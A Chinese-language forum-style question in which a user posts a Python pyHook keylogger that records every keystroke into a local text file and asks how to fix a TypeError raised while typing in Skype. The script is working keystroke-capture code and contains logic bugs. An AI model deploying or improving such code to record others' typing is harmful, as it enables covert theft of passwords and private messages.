这是我的源代码:
import pythoncom, pyHook, sys
def OnKeyboardEvent(event):
if event.Ascii==5:
sys.exit
elif event.Ascii !=0 or 8:
f = open('output.txt', 'r+')
buffer = f.read()
f.close()
f = open ('output.txt', 'w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs = ('\n')
buffer +=(keylogs)
f.write(buffer)
f.close()
# return True to pass the event to other handlers
return True
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
每当我运行 Skype 并输入内容时,我都会在 cmd 中收到此错误。
TypeError:KeyboardSwitch() 缺少 8 个必需的位置参数:“msg”、“vk_code”、“scan_code”、“ascii”、“flags”、“time”、“hwnd”和“win_name”
我假设这与Skype的窗口名称中包含非ASCII字符这一事实有关,但是我该如何解决这个问题呢?